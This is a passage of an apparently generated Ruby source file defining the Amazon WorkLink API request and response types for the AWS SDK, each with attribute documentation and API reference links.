# @!attribute [rw] subnet_ids
# The subnets used for X-ENI connections from Amazon WorkLink
# rendering containers.
# @return [Array<String>]
#
# @!attribute [rw] security_group_ids
# The security groups associated with access to the provided subnets.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeCompanyNetworkConfigurationResponse AWS API Documentation
#
class DescribeCompanyNetworkConfigurationResponse < Struct.new(
:vpc_id,
:subnet_ids,
:security_group_ids)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DescribeDevicePolicyConfigurationRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeDevicePolicyConfigurationRequest AWS API Documentation
#
class DescribeDevicePolicyConfigurationRequest < Struct.new(
:fleet_arn)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] device_ca_certificate
# The certificate chain, including intermediate certificates and the
# root certificate authority certificate used to issue device
# certificates.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeDevicePolicyConfigurationResponse AWS API Documentation
#
class DescribeDevicePolicyConfigurationResponse < Struct.new(
:device_ca_certificate)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DescribeDeviceRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# device_id: "Id", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] device_id
# A unique identifier for a registered user's device.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeDeviceRequest AWS API Documentation
#
class DescribeDeviceRequest < Struct.new(
:fleet_arn,
:device_id)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] status
# The current state of the device.
# @return [String]
#
# @!attribute [rw] model
# The model of the device.
# @return [String]
#
# @!attribute [rw] manufacturer
# The manufacturer of the device.
# @return [String]
#
# @!attribute [rw] operating_system
# The operating system of the device.
# @return [String]
#
# @!attribute [rw] operating_system_version
# The operating system version of the device.
# @return [String]
#
# @!attribute [rw] patch_level
# The operating system patch level of the device.
# @return [String]
#
# @!attribute [rw] first_accessed_time
# The date that the device first signed in to Amazon WorkLink.
# @return [Time]
#
# @!attribute [rw] last_accessed_time
# The date that the device last accessed Amazon WorkLink.
# @return [Time]
#
# @!attribute [rw] username
# The user name associated with the device.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeDeviceResponse AWS API Documentation
#
class DescribeDeviceResponse < Struct.new(
:status,
:model,
:manufacturer,
:operating_system,
:operating_system_version,
:patch_level,
:first_accessed_time,
:last_accessed_time,
:username)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DescribeDomainRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# domain_name: "DomainName", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] domain_name
# The name of the domain.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeDomainRequest AWS API Documentation
#
class DescribeDomainRequest < Struct.new(
:fleet_arn,
:domain_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] domain_name
# The name of the domain.
# @return [String]
#
# @!attribute [rw] display_name
# The name to display.
# @return [String]
#
# @!attribute [rw] created_time
# The time that the domain was added.
# @return [Time]
#
# @!attribute [rw] domain_status
# The current state for the domain.
# @return [String]
#
# @!attribute [rw] acm_certificate_arn
# The ARN of an issued ACM certificate that is valid for the domain
# being associated.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeDomainResponse AWS API Documentation
#
class DescribeDomainResponse < Struct.new(
:domain_name,
:display_name,
:created_time,
:domain_status,
:acm_certificate_arn)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DescribeFleetMetadataRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# }
#
# @!attribute [rw] fleet_arn
# The Amazon Resource Name (ARN) of the fleet.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeFleetMetadataRequest AWS API Documentation
#
class DescribeFleetMetadataRequest < Struct.new(
:fleet_arn)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] created_time
# The time that the fleet was created.
# @return [Time]
#
# @!attribute [rw] last_updated_time
# The time that the fleet was last updated.
# @return [Time]
#
# @!attribute [rw] fleet_name
# The name of the fleet.
# @return [String]
#
# @!attribute [rw] display_name
# The name to display.
# @return [String]
#
# @!attribute [rw] optimize_for_end_user_location
# The option to optimize for better performance by routing traffic
# through the closest AWS Region to users, which may be outside of
# your home Region.
# @return [Boolean]
#
# @!attribute [rw] company_code
# The identifier used by users to sign in to the Amazon WorkLink app.
# @return [String]
#
# @!attribute [rw] fleet_status
# The current state of the fleet.
# @return [String]
#
# @!attribute [rw] tags
# The tags attached to the resource. A tag is a key-value pair.
# @return [Hash<String,String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeFleetMetadataResponse AWS API Documentation
#
class DescribeFleetMetadataResponse < Struct.new(
:created_time,
:last_updated_time,
:fleet_name,
:display_name,
:optimize_for_end_user_location,
:company_code,
:fleet_status,
:tags)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DescribeIdentityProviderConfigurationRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeIdentityProviderConfigurationRequest AWS API Documentation
#
class DescribeIdentityProviderConfigurationRequest < Struct.new(
:fleet_arn)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] identity_provider_type
# The type of identity provider.
# @return [String]
#
# @!attribute [rw] service_provider_saml_metadata
# The SAML metadata document uploaded to the user’s identity provider.
# @return [String]
#
# @!attribute [rw] identity_provider_saml_metadata
# The SAML metadata document provided by the user’s identity provider.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeIdentityProviderConfigurationResponse AWS API Documentation
#
class DescribeIdentityProviderConfigurationResponse < Struct.new(
:identity_provider_type,
:service_provider_saml_metadata,
:identity_provider_saml_metadata)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DescribeWebsiteCertificateAuthorityRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# website_ca_id: "Id", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] website_ca_id
# A unique identifier for the certificate authority.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeWebsiteCertificateAuthorityRequest AWS API Documentation
#
class DescribeWebsiteCertificateAuthorityRequest < Struct.new(
:fleet_arn,
:website_ca_id)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] certificate
# The root certificate of the certificate authority.
# @return [String]
#
# @!attribute [rw] created_time
# The time that the certificate authority was added.
# @return [Time]
#
# @!attribute [rw] display_name
# The certificate name to display.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeWebsiteCertificateAuthorityResponse AWS API Documentation
#
class DescribeWebsiteCertificateAuthorityResponse < Struct.new(
:certificate,
:created_time,
:display_name)
SENSITIVE = []
include Aws::Structure
end
# The summary of devices.
#
# @!attribute [rw] device_id
# The ID of the device.
# @return [String]
#
# @!attribute [rw] device_status
# The status of the device.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DeviceSummary AWS API Documentation
#
class DeviceSummary < Struct.new(
:device_id,
:device_status)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DisassociateDomainRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# domain_name: "DomainName", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] domain_name
# The name of the domain.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DisassociateDomainRequest AWS API Documentation
#
class DisassociateDomainRequest < Struct.new(
:fleet_arn,
:domain_name)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DisassociateDomainResponse AWS API Documentation
#
class DisassociateDomainResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass DisassociateWebsiteAuthorizationProviderRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# authorization_provider_id: "Id", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] authorization_provider_id
# A unique identifier for the authorization provider.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DisassociateWebsiteAuthorizationProviderRequest AWS API Documentation
#
class DisassociateWebsiteAuthorizationProviderRequest < Struct.new(
:fleet_arn,
:authorization_provider_id)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DisassociateWebsiteAuthorizationProviderResponse AWS API Documentation
#
class DisassociateWebsiteAuthorizationProviderResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass DisassociateWebsiteCertificateAuthorityRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# website_ca_id: "Id", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] website_ca_id
# A unique identifier for the CA.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DisassociateWebsiteCertificateAuthorityRequest AWS API Documentation
#
class DisassociateWebsiteCertificateAuthorityRequest < Struct.new(
:fleet_arn,
:website_ca_id)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DisassociateWebsiteCertificateAuthorityResponse AWS API Documentation
#
class DisassociateWebsiteCertificateAuthorityResponse < Aws::EmptyStructure; end
# The summary of the domain.
#
# @!attribute [rw] domain_name
# The name of the domain.
# @return [String]
#
# @!attribute [rw] display_name
# The name to display.
# @return [String]
#
# @!attribute [rw] created_time
# The time that the domain was created.
# @return [Time]
#
# @!attribute [rw] domain_status
# The status of the domain.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DomainSummary AWS API Documentation
#
class DomainSummary < Struct.new(
:domain_name,
:display_name,
:created_time,
:domain_status)
SENSITIVE = []
include Aws::Structure
end
# The summary of the fleet.
#
# @!attribute [rw] fleet_arn
# The Amazon Resource Name (ARN) of the fleet.
# @return [String]
#
# @!attribute [rw] created_time
# The time when the fleet was created.
# @return [Time]
#
# @!attribute [rw] last_updated_time
# The time when the fleet was last updated.
# @return [Time]
#
# @!attribute [rw] fleet_name
# The name of the fleet.
# @return [String]
#
# @!attribute [rw] display_name
# The name of the fleet to display.
# @return [String]
#
# @!attribute [rw] company_code
# The identifier used by users to sign into the Amazon WorkLink app.
# @return [String]
#
# @!attribute [rw] fleet_status
# The status of the fleet.
# @return [String]
#
# @!attribute [rw] tags
# The tags attached to the resource. A tag is a key-value pair.
# @return [Hash<String,String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/FleetSummary AWS API Documentation
#
class FleetSummary < Struct.new(
:fleet_arn,
:created_time,
:last_updated_time,
:fleet_name,
:display_name,
:company_code,
:fleet_status,
:tags)
SENSITIVE = []
include Aws::Structure
end
# The service is temporarily unavailable.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/InternalServerErrorException AWS API Documentation
#
class InternalServerErrorException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# The request is not valid.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/InvalidRequestException AWS API Documentation
#
class InvalidRequestException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListDevicesRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] next_token
# The pagination token used to retrieve the next page of results for
# this operation. If this value is null, it retrieves the first page.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of results to be included in the next page.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListDevicesRequest AWS API Documentation
#
class ListDevicesRequest < Struct.new(
:fleet_arn,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] devices
# Information about the devices.
# @return [Array<Types::DeviceSummary>]
#
# @!attribute [rw] next_token
# The pagination token used to retrieve the next page of results for
# this operation. If there are no more pages, this value is null.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListDevicesResponse AWS API Documentation
#
class ListDevicesResponse < Struct.new(
:devices,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListDomainsRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] next_token
# The pagination token used to retrieve the next page of results for
# this operation. If this value is null, it retrieves the first page.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of results to be included in the next page.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListDomainsRequest AWS API Documentation
#
class ListDomainsRequest < Struct.new(
:fleet_arn,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] domains
# Information about the domains.
# @return [Array<Types::DomainSummary>]
#
# @!attribute [rw] next_token
# The pagination token used to retrieve the next page of results for
# this operation. If there are no more pages, this value is null.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListDomainsResponse AWS API Documentation
#
class ListDomainsResponse < Struct.new(
:domains,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListFleetsRequest
# data as a hash:
#
# {
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] next_token
# The pagination token used to retrieve the next page of results for
# this operation. If this value is null, it retrieves the first page.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of results to be included in the next page.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListFleetsRequest AWS API Documentation
#
class ListFleetsRequest < Struct.new(
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] fleet_summary_list
# The summary list of the fleets.
# @return [Array<Types::FleetSummary>]
#
# @!attribute [rw] next_token
# The pagination token used to retrieve the next page of results for
# this operation. If there are no more pages, this value is null.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListFleetsResponse AWS API Documentation
#
class ListFleetsResponse < Struct.new(
:fleet_summary_list,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListTagsForResourceRequest
# data as a hash:
#
# {
# resource_arn: "FleetArn", # required
# }
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the fleet.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListTagsForResourceRequest AWS API Documentation
#
class ListTagsForResourceRequest < Struct.new(
:resource_arn)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] tags
# The tags attached to the resource. A tag is a key-value pair.
# @return [Hash<String,String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListTagsForResourceResponse AWS API Documentation
#
class ListTagsForResourceResponse < Struct.new(
:tags)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListWebsiteAuthorizationProvidersRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] next_token
# The pagination token to use to retrieve the next page of results for
# this operation. If this value is null, it retrieves the first page.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of results to be included in the next page.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListWebsiteAuthorizationProvidersRequest AWS API Documentation
#
class ListWebsiteAuthorizationProvidersRequest < Struct.new(
:fleet_arn,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] website_authorization_providers
# The website authorization providers.
# @return [Array<Types::WebsiteAuthorizationProviderSummary>]
#
# @!attribute [rw] next_token
# The pagination token to use to retrieve the next page of results for
# this operation. If this value is null, it retrieves the first page.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListWebsiteAuthorizationProvidersResponse AWS API Documentation
#
class ListWebsiteAuthorizationProvidersResponse < Struct.new(
:website_authorization_providers,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListWebsiteCertificateAuthoritiesRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# max_results: 1,
# next_token: "NextToken",
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of results to be included in the next page.
# @return [Integer]
#
# @!attribute [rw] next_token
# The pagination token used to retrieve the next page of results for
# this operation. If this value is null, it retrieves the first page.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListWebsiteCertificateAuthoritiesRequest AWS API Documentation
#
class ListWebsiteCertificateAuthoritiesRequest < Struct.new(
:fleet_arn,
:max_results,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] website_certificate_authorities
# Information about the certificates.
# @return [Array<Types::WebsiteCaSummary>]
#
# @!attribute [rw] next_token
# The pagination token used to retrieve the next page of results for
# this operation. If there are no more pages, this value is null.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ListWebsiteCertificateAuthoritiesResponse AWS API Documentation
#
class ListWebsiteCertificateAuthoritiesResponse < Struct.new(
:website_certificate_authorities,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# The resource already exists.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ResourceAlreadyExistsException AWS API Documentation
#
class ResourceAlreadyExistsException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# The requested resource was not found.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/ResourceNotFoundException AWS API Documentation
#
class ResourceNotFoundException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass RestoreDomainAccessRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# domain_name: "DomainName", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] domain_name
# The name of the domain.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/RestoreDomainAccessRequest AWS API Documentation
#
class RestoreDomainAccessRequest < Struct.new(
:fleet_arn,
:domain_name)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/RestoreDomainAccessResponse AWS API Documentation
#
class RestoreDomainAccessResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass RevokeDomainAccessRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# domain_name: "DomainName", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] domain_name
# The name of the domain.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/RevokeDomainAccessRequest AWS API Documentation
#
class RevokeDomainAccessRequest < Struct.new(
:fleet_arn,
:domain_name)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/RevokeDomainAccessResponse AWS API Documentation
#
class RevokeDomainAccessResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass SignOutUserRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# username: "Username", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] username
# The name of the user.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/SignOutUserRequest AWS API Documentation
#
class SignOutUserRequest < Struct.new(
:fleet_arn,
:username)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/SignOutUserResponse AWS API Documentation
#
class SignOutUserResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass TagResourceRequest
# data as a hash:
#
# {
# resource_arn: "FleetArn", # required
# tags: { # required
# "TagKey" => "TagValue",
# },
# }
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the fleet.
# @return [String]
#
# @!attribute [rw] tags
# The tags to add to the resource. A tag is a key-value pair.
# @return [Hash<String,String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/TagResourceRequest AWS API Documentation
#
class TagResourceRequest < Struct.new(
:resource_arn,
:tags)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/TagResourceResponse AWS API Documentation
#
class TagResourceResponse < Aws::EmptyStructure; end
# The number of requests exceeds the limit.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/TooManyRequestsException AWS API Documentation
#
class TooManyRequestsException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# You are not authorized to perform this action.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UnauthorizedException AWS API Documentation
#
class UnauthorizedException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UntagResourceRequest
# data as a hash:
#
# {
# resource_arn: "FleetArn", # required
# tag_keys: ["TagKey"], # required
# }
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the fleet.
# @return [String]
#
# @!attribute [rw] tag_keys
# The list of tag keys to remove from the resource.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UntagResourceRequest AWS API Documentation
#
class UntagResourceRequest < Struct.new(
:resource_arn,
:tag_keys)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UntagResourceResponse AWS API Documentation
#
class UntagResourceResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass UpdateAuditStreamConfigurationRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# audit_stream_arn: "AuditStreamArn",
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] audit_stream_arn
# The ARN of the Amazon Kinesis data stream that receives the audit
# events.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateAuditStreamConfigurationRequest AWS API Documentation
#
class UpdateAuditStreamConfigurationRequest < Struct.new(
:fleet_arn,
:audit_stream_arn)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateAuditStreamConfigurationResponse AWS API Documentation
#
class UpdateAuditStreamConfigurationResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass UpdateCompanyNetworkConfigurationRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# vpc_id: "VpcId", # required
# subnet_ids: ["SubnetId"], # required
# security_group_ids: ["SecurityGroupId"], # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] vpc_id
# The VPC with connectivity to associated websites.
# @return [String]
#
# @!attribute [rw] subnet_ids
# The subnets used for X-ENI connections from Amazon WorkLink
# rendering containers.
# @return [Array<String>]
#
# @!attribute [rw] security_group_ids
# The security groups associated with access to the provided subnets.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateCompanyNetworkConfigurationRequest AWS API Documentation
#
class UpdateCompanyNetworkConfigurationRequest < Struct.new(
:fleet_arn,
:vpc_id,
:subnet_ids,
:security_group_ids)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateCompanyNetworkConfigurationResponse AWS API Documentation
#
class UpdateCompanyNetworkConfigurationResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass UpdateDevicePolicyConfigurationRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# device_ca_certificate: "CertificateChain",
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] device_ca_certificate
# The certificate chain, including intermediate certificates and the
# root certificate authority certificate used to issue device
# certificates.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateDevicePolicyConfigurationRequest AWS API Documentation
#
class UpdateDevicePolicyConfigurationRequest < Struct.new(
:fleet_arn,
:device_ca_certificate)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateDevicePolicyConfigurationResponse AWS API Documentation
#
class UpdateDevicePolicyConfigurationResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass UpdateDomainMetadataRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# domain_name: "DomainName", # required
# display_name: "DisplayName",
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] domain_name
# The name of the domain.
# @return [String]
#
# @!attribute [rw] display_name
# The name to display.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateDomainMetadataRequest AWS API Documentation
#
class UpdateDomainMetadataRequest < Struct.new(
:fleet_arn,
:domain_name,
:display_name)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateDomainMetadataResponse AWS API Documentation
#
class UpdateDomainMetadataResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass UpdateFleetMetadataRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# display_name: "DisplayName",
# optimize_for_end_user_location: false,
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] display_name
# The fleet name to display. The existing DisplayName is unset if null
# is passed.
# @return [String]
#
# @!attribute [rw] optimize_for_end_user_location
# The option to optimize for better performance by routing traffic
# through the closest AWS Region to users, which may be outside of
# your home Region.
# @return [Boolean]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateFleetMetadataRequest AWS API Documentation
#
class UpdateFleetMetadataRequest < Struct.new(
:fleet_arn,
:display_name,
:optimize_for_end_user_location)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateFleetMetadataResponse AWS API Documentation
#
class UpdateFleetMetadataResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass UpdateIdentityProviderConfigurationRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# identity_provider_type: "SAML", # required, accepts SAML
# identity_provider_saml_metadata: "SamlMetadata",
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] identity_provider_type
# The type of identity provider.
# @return [String]
#
# @!attribute [rw] identity_provider_saml_metadata
# The SAML metadata document provided by the customer’s identity
# provider. The existing IdentityProviderSamlMetadata is unset if null
# is passed.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateIdentityProviderConfigurationRequest AWS API Documentation
#
class UpdateIdentityProviderConfigurationRequest < Struct.new(
:fleet_arn,
:identity_provider_type,
:identity_provider_saml_metadata)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/UpdateIdentityProviderConfigurationResponse AWS API Documentation
#
class UpdateIdentityProviderConfigurationResponse < Aws::EmptyStructure; end
# The summary of the website authorization provider.
#
# @!attribute [rw] authorization_provider_id
# A unique identifier for the authorization provider.
# @return [String]
#
# @!attribute [rw] authorization_provider_type
# The authorization provider type.
# @return [String]
#
# @!attribute [rw] domain_name
# The domain name of the authorization provider. This applies only to
# SAML-based authorization providers.
# @return [String]
#
# @!attribute [rw] created_time
# The time of creation.
# @return [Time]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/WebsiteAuthorizationProviderSummary AWS API Documentation
#
class WebsiteAuthorizationProviderSummary < Struct.new(
:authorization_provider_id,
:authorization_provider_type,
:domain_name,
:created_time)
